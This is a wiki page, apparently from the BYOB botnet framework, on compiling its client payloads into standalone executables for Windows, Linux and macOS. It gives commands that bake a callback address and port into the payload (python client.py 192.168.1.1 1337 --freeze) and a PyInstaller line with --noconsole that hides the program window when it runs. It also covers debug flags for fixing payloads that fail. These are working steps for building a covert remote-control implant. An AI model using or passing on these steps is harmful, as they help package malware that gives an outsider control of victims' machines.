Skip to content

Compiling Executable Payloads

Malwared LLC edited this page May 18, 2020 · 6 revisions

Compiling Executable Payloads

IMPORTANT NOTE

  • To compile an executable for Windows, you must run client.py on a Windows machine.
  • To compile an executable for Linux, you must run client.py on a Linux machine.
  • To compile an executable for Mac OS, you must run client.py on a Mac OS machine.

Option 1: --freeze

  • To compile a binary executable payload instead of a Python script, you can use the --freeze argument when running client.py. This will create an executable payload in the dist folder.

Example python client.py 192.168.1.1 1337 --freeze will create an executable payload in the /byob/dist/ folder.

Option 2: manually run PyInstaller on the payload

  • If the built in --freeze method doesn't work, then running PyInstaller manually on the payload always works. To do this follow the steps below:
  1. Run client.py without the --freeze argument
  2. Navigate to the byob/modules/payloads directory
  3. Run the command python -m PyInstaller --onefile --noconsole <payload> where <payload> is the name of the Python payload generated in Step 1.
  4. Once PyInstaller is finished running, there should be a dist directory with an executable inside of it (byob/modules/payloads/dist/example.exe)

Troubleshooting Tip If the executable doesn't compile or run properly, try running client.py with the --debug argument. This will enable logging and debugging output to be displayed when the executable runs. You can use this information to debug what the issue is, or if you're stuck, copy/paste the debugging output in our Discord server and a developer can try to diagnose the issue.

For example, a common error on Windows is a dialog which says 'Failed to execute script' without any useful information about what went wrong). The --debug option is very useful in this case to see exactly what is going wrong.

Example python client.py 192.168.1.1 1337 --freeze --debug will create an executable payload in the /byob/dist/ folder which displays debugging output when executed.